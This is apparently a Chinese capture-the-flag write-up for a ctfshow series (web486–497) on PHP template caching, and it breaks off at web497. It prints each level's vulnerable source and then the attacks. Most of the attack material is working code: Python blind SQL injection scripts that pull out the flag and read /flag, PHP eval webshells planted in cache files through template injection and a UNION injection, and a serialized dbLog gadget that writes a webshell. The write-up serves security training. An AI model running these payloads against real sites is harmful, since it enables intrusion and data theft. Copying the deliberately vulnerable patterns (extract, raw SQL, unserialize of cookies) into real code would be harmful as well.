web486 打开是一个登录
翻一下源码,没发现什么
注册之后登录也没有反应,重点并不是在这里
发现地址有一个login,感觉像是文件包含
尝试包含index.php发现出错,并且看到有一个templates目录, 还有render我们回到html试试
index.php
<?php ini_set ('display_errors' , 'On' );include ('render/render_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); }else { templateUtil ::render ($action ); }
这里并没有有用的.我们去查看render_class文件
render/render_class.php
<?php include ('file_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); return templateUtil ::shade ($templateContent ,$arg ); } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } echo $templateContent ; } }
render/file_class文件
<?php class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
没什么思路,我们试一下包含flag文件
web487
一样的页面,但是这次,我们搜到了一个cheak文件这次我们在试一下文件包含
index.php
<?php include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ $username =$_GET ['username' ]; $password =$_GET ['password' ]; $sql = "select id from user where username = md5('$username ') and password=md5('$password ') order by id limit 1" ; $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ,array ('username' =>$username )); }else { header ('location:index.php?action=login' ); } } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
/render/render_class.php
<?php ini_set ('display_errors' , 'On' );include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } }
/render/db_class.php
<?php ini_set ('display_errors' , 'On' );class db { public static function getConnection ( ) { $username ='root' ; $password ='root' ; $port ='3306' ; $addr ='127.0.0.1' ; $database ='ctfshow' ; return new mysqli ($addr ,$username ,$password ,$database ); } public static function select_one ($sql ) { $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_object (); } } }
/render/cache_class
<?php ini_set ('display_errors' , 'On' );class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.php' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.php' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.php' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.php' ); } }
/render/file_class.php
<?php ini_set ('display_errors' , 'On' );class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
看了看其他的也没有可以利用的点,只有sql注入
select id from user where username = md5('$username') and password=md5('1') or 1=2#') order by id limit 1
?action=check&username=1') or 0 -- + # %23&password=1
?action=check&username=1') or 1 -- + # %23&password=1
判断
import requests url = "http://c2367eca-9985-48ba-b0f2-b554dad1a2a2.challenge.ctf.show/index.php" payload = "length(database())=0" payload = "length(database())>0" params = { 'username' : f"1') or if({payload},1,0)#" , 'password' : '1' , 'action' : 'check' } r = requests.get (url,params=params) print (r.text)
import requests url = "http://c2367eca-9985-48ba-b0f2-b554dad1a2a2.challenge.ctf.show/index.php" result = "" i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = "select group_concat(flag) from flag" params = { 'username' : f"1') or if(ascii(substr(({payload}),{i},1))>{mid},1,0)#" , 'password' : '1' , 'action' : 'check' } r = requests.get (url,params=params) if "admin" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
web488 index.php
<?php include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ $username =$_GET ['username' ]; $password =$_GET ['password' ]; $sql = "select id from user where username = '" .md5 ($username )."' and password='" .md5 ($password )."' order by id limit 1" ; $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ,array ('username' =>$username )); }else { templateUtil ::render ('error' ,array ('username' =>$username )); } } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
/render/render_class.php
<?php ini_set ('display_errors' , 'On' );include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } }
/render/db_class.php
<?php ini_set ('display_errors' , 'On' );class db { public static function getConnection ( ) { $username ='root' ; $password ='root' ; $port ='3306' ; $addr ='127.0.0.1' ; $database ='ctfshow' ; return new mysqli ($addr ,$username ,$password ,$database ); } public static function select_one ($sql ) { $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_object (); } } }
/render/cache_class
<?php ini_set ('display_errors' , 'On' );class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.php' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.php' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.php' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.php' ); } }
/render/file_class.php
<?php ini_set ('display_errors' , 'On' );class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
首先我们先把目录结构写好
如果sql注入不可使用的话,就只有file_class.php文件的wrrite方法可以利用了,至于为什么上一关不可利用,我们等会就知道了
我们发现传了两个参数进来,一个是文件名,另一个是文件内容.我们直接转到用例ctrl+b
发现只有这一处,条件是这个传入的template文件的md5(template)文件不存在,我们接着寻找谁调用了create_cache
也是只有一处,传入了两个参数,一个文件名一个内容,条件是if后面的返回false
也就是这里没有这个md5(template)这个文件,接着回到render_class.php文件
接着往上推,发现内容cache在传入之前先调用了shade方法并且传入了数组,我们先看下面的是将参数进行替换并且替换的是,接着在替换之前有一部读取文件的操作,读取的是初始文件名,不是md5的
接着我们去找谁调用了render
发现这里总共有四处,第一处仔细观察是无法利用的,因为只要你访问了一次index文件,就会在本地生成md5(index),之后就再也不会能写文件了,而下面两个并没有传入数组参数,这么说的话就没有办法进行替换操作,那么自然也就不能写文件进去,那么只剩下第二个文件了.如果这里能做的话,就只能说明error.php里面存在
我们来尝试一下,写入以下内容
返回index文件进行调试,注意处理一下index文件
关键步骤
可见木马写入了这个md5(error)文件里面
接下来我们从题目里面实现一下,照index文件填入
接着访问/cache/cb5e100e5a9a3e7f6d1fd97512215282.php文件
我们去看一下它error.php的源码,发现和我们想的一样
但是不知道你有没有发现一个问题,就是如果我们第一次就直接尝试登录,一个错误的username,就会生成error的md5文件,之后就不能在向里面写文件了
我们这样无论怎么发送都不能在写文件了,所以只有一次机会
web489 index.php
<?php include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ $sql = "select id from user where username = '" .md5 ($username )."' and password='" .md5 ($password )."' order by id limit 1" ; extract ($_GET ); $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ,array ('username' =>$username )); }else { templateUtil ::render ('error' ); } } if ($action =='clear' ){ system ('rm -rf cache/*' ); die ('cache clear' ); } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } }
render/db_class.php
<?php class db { public static function getConnection ( ) { $username ='root' ; $password ='root' ; $port ='3306' ; $addr ='127.0.0.1' ; $database ='ctfshow' ; return new mysqli ($addr ,$username ,$password ,$database ); } public static function select_one ($sql ) { $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_object (); } } }
file_class.php
<?php error_reporting (0 );class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
/render/cache_class.php
<?php class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.php' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.php' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.php' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.php' ); } }
/templates/index
<!-- Author: h1xa Date: 2021 -03 -08 16 :54 :39 Last Modified by: h1xa Last Modified time: 2021 -03 -08 21 :56 :49 email: h1xa@ctfer.com link: https: path /templates/index.php --> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" > <title>CTFshow 新手入门题目 </title> </head> <body> 欢迎你{{username}} </body> </html>
这里就解决了上一题的问题了.可以删除文件了,这里还考察了一个点,就是变量覆盖
等到extract()函数解析完成就可以
因此这里就可以直接和上一关一样,先重置sql语句使执行第一个render()接着传入username为一句话
接着这次访问md5(index)文件
可以看到这里的error.php是无法利用的了
web490 index.php
<?php include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ extract ($_GET ); $sql = "select username from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ,array ('username' =>$user ->username)); }else { templateUtil ::render ('error' ); } } if ($action =='clear' ){ system ('rm -rf cache/*' ); die ('cache clear' ); } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
这里也是含有sql注入的.这次只不过是把从sql取出的语句进行写入
记得先清一下文件
接着登录发现是短标签,我们只要按照这个方式闭合就好
select username from user where username = '1'union select '@eval($_POST[zf]);'' and password='6512bd43d9caa6e02c990b0a82652dca' order by id limit 1
web491 index.php
<?php include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ extract ($_GET ); $sql = "select username from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ); }else { templateUtil ::render ('error' ); } } if ($action =='clear' ){ system ('rm -rf cache/*' ); die ('cache clear' ); } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
数据库里没东西
render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , '<?=' .$value .'?>' , $templateContent ); } return $templateContent ; } }
cache_class.php
<?php class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.php' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.php' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.php' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.php' ); } }
这里也没有可以利用的点,那么只能在sql注入里面动手了.那么直接利用sql读取本地文件
import requests url = "http://de4a1753-a35d-401e-9d4e-aad8aa7d89a2.challenge.ctf.show/index.php" result = "" i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = "select load_file('/flag')" params = { 'username' : f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,0)-- + #" , 'password' : '1' , 'action' : 'check' } r = requests.get (url,params=params) if "username" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
web492 <?php include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ extract ($_GET ); if (preg_match ('/^[A-Za-z0-9]+$/' , $username )){ $sql = "select username from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $user =db::select_one_array ($sql ); } if ($user ){ templateUtil ::render ('index' ,$user ); }else { templateUtil ::render ('error' ); } } if ($action =='clear' ){ system ('rm -rf cache/*' ); die ('cache clear' ); } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
render/render_class
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , '<!--' .$value .'-->' , $templateContent ); } return $templateContent ; } }
render/db_class.php
<?php class db { public static function getConnection ( ) { $username ='root' ; $password ='root' ; $port ='3306' ; $addr ='127.0.0.1' ; $database ='ctfshow' ; return new mysqli ($addr ,$username ,$password ,$database ); } public static function select_one ($sql ) { $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_object (); } } public static function select_one_array ($sql ) { $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_assoc (); } } }
templates/index.php
<!-- Author: h1xa Date: 2021 -03 -08 16 :54 :39 Last Modified by: h1xa Last Modified time: 2021 -03 -09 16 :21 :04 email: h1xa@ctfer.com link: https: path /templates/index.php --> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" > <title>CTFshow 新手入门题目 </title> </head> <body> {{username}} </body> </html>
/^[A-Za-z0-9]+$/ 表示匹配以数字字母开头结尾中间全是数字字母
那么这里简单变量覆盖就可,但是要注意一下将它的注释进行闭合
web493 index.php
<?php session_start ();include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ if (isset ($_COOKIE ['user' ])){ $c =$_COOKIE ['user' ]; $user =unserialize ($c ); if ($user ){ templateUtil ::render ('index' ); }else { header ('location:index.php?action=login' ); } }else { header ('location:index.php?action=login' ); } die (); } if ($action =='check' ){ extract ($_GET ); if (preg_match ('/^[A-Za-z0-9]+$/' , $username )){ $sql = "select username from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $db =new db (); $user =$db ->select_one ($sql ); } if ($user ){ setcookie ('user' ,$user ); templateUtil ::render ('index' ); }else { templateUtil ::render ('error' ); } } if ($action =='clear' ){ system ('rm -rf cache/*' ); die ('cache clear' ); } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , '<!--' .$value .'-->' , $templateContent ); } return $templateContent ; } }
render/db_class.php
<?php error_reporting (0 );class db { public $db ; public $log ; public $sql ; public $username ='root' ; public $password ='root' ; public $port ='3306' ; public $addr ='127.0.0.1' ; public $database ='ctfshow' ; public function __construct ( ) { $this ->log=new dbLog (); $this ->db=$this ->getConnection (); } public function getConnection ( ) { return new mysqli ($this ->addr,$this ->username,$this ->password,$this ->database); } public function select_one ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_object (); } } public function select_one_array ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_assoc (); } } public function __destruct ( ) { $this ->log->log ($this ->sql); } } class dbLog { public $sql ; public $content ; public $log ; public function __construct ( ) { $this ->log='log/' .date_format (date_create (),"Y-m-d" ).'.txt' ; } public function log ($sql ) { $this ->content = $this ->content.date_format (date_create (),"Y-m-d-H-i-s" ).' ' .$sql .' \r\n' ; } public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } }
/render/file_class.php
<?php error_reporting (0 );class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
cache_class.php
<?php class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.php' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.php' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.php' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.php' ); } }
简单反序列化
<?php class dbLog { public $sql ; public $content ='<?php @eval($_POST[zf]);?>' ; public $log ="./zf.php" ; public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } } $final = new dbLog ();echo ';user=' .urlencode (serialize ($final ));
这个会写到根目录下面,是网页的根目录,原因是index.php文件调用的file_put_contents()所以以当前目录为基础进行写入
web494-495 index.php
<?php session_start ();include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ if (isset ($_COOKIE ['user' ])){ $c =$_COOKIE ['user' ]; if (preg_match ('/\:|\,/' , $c )){ $user =unserialize ($c ); } if ($user ){ templateUtil ::render ('index' ); }else { header ('location:index.php?action=login' ); } }else { header ('location:index.php?action=login' ); } die (); } if ($action =='check' ){ extract ($_GET ); if (!preg_match ('/or|and|innodb|sys/i' , $username )){ $sql = "select username from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $db =new db (); $user =$db ->select_one_array ($sql ); } if ($user ){ setcookie ('user' ,$user ); templateUtil ::render ('index' ,$user ); }else { templateUtil ::render ('error' ); } } if ($action =='clear' ){ system ('rm -rf cache/*' ); die ('cache clear' ); } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } }
render/db_class.php
<?php error_reporting (0 );class db { public $db ; public $log ; public $sql ; public $username ='root' ; public $password ='root' ; public $port ='3306' ; public $addr ='127.0.0.1' ; public $database ='ctfshow' ; public function __construct ( ) { $this ->log=new dbLog (); $this ->db=$this ->getConnection (); } public function getConnection ( ) { return new mysqli ($this ->addr,$this ->username,$this ->password,$this ->database); } public function select_one ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_object (); } } public function select_one_array ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $result =$conn ->query ($sql ); if ($result ){ return $result ->fetch_assoc (); } } public function __destruct ( ) { $this ->log->log ($this ->sql); } } class dbLog { public $sql ; public $content ; public $log ; public function __construct ( ) { $this ->log='log/' .date_format (date_create (),"Y-m-d" ).'.txt' ; } public function log ($sql ) { $this ->content = $this ->content.date_format (date_create (),"Y-m-d-H-i-s" ).' ' .$sql .' \r\n' ; } public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } }
file_class.php
<?php error_reporting (0 );class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
cache_class.php
<?php class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.html' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.html' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.html' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.html' ); } }
为啥没变化,上一题脚本直接过.发现flag没有,可以直接通过蚁剑连接数据库,毕竟我们已经知道用户名和密码了
要填127.0.0.1哦
web496 index.php
<?php session_start ();include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ if (isset ($_COOKIE ['user' ])){ $c =$_COOKIE ['user' ]; if (preg_match ('/\:|\,/' , $c )){ } if ($user ){ templateUtil ::render ('index' ); }else { header ('location:index.php?action=login' ); } }else { header ('location:index.php?action=login' ); } die (); } switch ($action ) { case 'check' : $username =$_POST ['username' ]; $password =$_POST ['password' ]; if (!preg_match ('/or|file|innodb|sys|mysql/i' , $username )){ $sql = "select username,nickname from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $db =new db (); $user =$db ->select_one_array ($sql ); } if ($user ){ $_SESSION ['user' ]=$user ; header ('location:index.php?action=index' ); }else { templateUtil ::render ('error' ); } break ; case 'clear' : system ('rm -rf cache/*' ); die ('cache clear' ); break ; case 'login' : templateUtil ::render ($action ); break ; case 'index' : $user =$_SESSION ['user' ]; if ($user ){ templateUtil ::render ('index' ,$user ); }else { header ('location:index.php?action=login' ); } break ; case 'view' : $user =$_SESSION ['user' ]; if ($user ){ templateUtil ::render ($_GET ['page' ],$user ); }else { header ('location:index.php?action=login' ); } break ; case 'logout' : session_destroy (); header ('location:index.php?action=login' ); break ; default : templateUtil ::render ($action ); break ; }
render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); echo $cache ; } public static function shade ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } }
render/db_class.php
<?php error_reporting (0 );class db { public $db ; public $log ; public $sql ; public $username ='root' ; public $password ='root' ; public $port ='3306' ; public $addr ='127.0.0.1' ; public $database ='ctfshow' ; public function __construct ( ) { $this ->log=new dbLog (); $this ->db=$this ->getConnection (); } public function getConnection ( ) { return new mysqli ($this ->addr,$this ->username,$this ->password,$this ->database); } public function select_one ($sql ) { $this ->sql=$sql ; $result =$this ->db->query ($sql ); if ($result ){ return $result ->fetch_object (); } } public function select_one_array ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $result =$this ->db->query ($sql ); if ($result ){ return $result ->fetch_assoc (); } } public function update_one ($sql ) { $this ->sql=$sql ; $conn = db::getConnection (); $this ->db->query ($sql ); return $this ->db->affected_rows; } public function __destruct ( ) { $this ->log->log ($this ->sql); } } class dbLog { public $sql ; public $content ; public $log ; public function __construct ( ) { $this ->log='log/' .date_format (date_create (),"Y-m-d" ).'.txt' ; } public function log ($sql ) { $this ->content = $this ->content.date_format (date_create (),"Y-m-d-H-i-s" ).' ' .$sql .' \r\n' ; } public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } }
file_class.php
<?php error_reporting (0 );class fileUtil { public static function read ($filename ) { return file_get_contents ($filename ); } public static function write ($filename ,$content ,$append =0 ) { if ($append ){ file_put_contents ($filename , $content ,FILE_APPEND); }else { file_put_contents ($filename , $content ); } } }
cache_class.php
<?php class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.html' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.html' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.html' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.html' ); } }
这次发现登录之后会进入index页面,我们这里直接进行登录
发现也就一个view有用
又搜到一个.php文件
admin_edit.php
<?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ extract ($_POST ); $sql = "update user set nickname='" .substr ($nickname , 0 ,8 )."' where username='" .$user ['username' ]."'" ; $db =new db (); if ($db ->update_one ($sql )){ $_SESSION ['user' ]['nickname' ]=$nickname ; $ret ['msg' ]='管理员信息修改成功' ; }else { $ret ['msg' ]='管理员信息修改失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
import random import requests url = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/api/admin_edit.php" login = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/index.php?action=check" data = { "username" :"1'||1=1#" , "password" :'1' , 'action' :'check' } session = requests.session () session.post (login,data=data,proxies={"http" :"http://127.0.0.1:8081" }) payload = "if(ascii(substr((select database()),1,1))=0,1,0)" payload = "if(ascii(substr((select database()),1,1))>0,1,0)" date = { "user[username]" : f"1' or {payload}#" , 'nickname' : f"{random.randint(1,10000)}" } r = session.post (url, data=date) print (r.json ())
import random import requests url = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/api/admin_edit.php" login = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/index.php?action=check" data = { "username" :"1'||1=1#" , "password" :'1' , 'action' :'check' } session = requests.session () session.post (login,data=data,proxies={"http" :"http://127.0.0.1:8081" }) result ="" i = 0 while 1 : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = "select flagisherebutyouneverknow118 from flagyoudontknow76" date = { "user[username]" : f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,0)#" , 'nickname' : f"{random.randint(1,100000)}" } r = session.post (url, data=date) if "管理员信息修改成功" == r.json ()['msg' ]: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
web497 index.php
<?php session_start ();include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ if (isset ($_COOKIE ['user' ])){ $c =$_COOKIE ['user' ]; if (!preg_match ('/\:|\,/' , $c )){ $user =unserialize ($c ); } if ($user ){ templateUtil ::render ('index' ); }else { header ('location:index.php?action=login' ); } }else { header ('location:index.php?action=login' ); } die (); } switch ($action ) { case 'check' : $username =$_POST ['username' ]; $password =$_POST ['password' ]; if (!preg_match ('/file|or|innodb|sys|mysql/i' , $username )){ $sql = "select username,nickname,avatar from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $db =new db (); $user =$db ->select_one_array ($sql ); } if ($user ){ $_SESSION ['user' ]=$user ; header ('location:index.php?action=index' ); }else { templateUtil ::render ('error' ); } break ; case 'clear' : system ('rm -rf cache/*' ); die ('cache clear' ); break ; case 'login' : templateUtil ::render ($action ); break ; case 'index' : $user =$_SESSION ['user' ]; if ($user ){ templateUtil ::render ('index' ,$user ); }else { header ('location:index.php?action=login' ); } break ; case 'view' : $user =$_SESSION ['user' ]; if ($user ){ templateUtil ::render ($_GET ['page' ],$user ); }else { header ('location:index.php?action=login' ); } break ; case 'logout' : session_destroy (); header ('location:index.php?action=login' ); break ; default : templateUtil ::render ($action ); break ; }
render/db_class.php
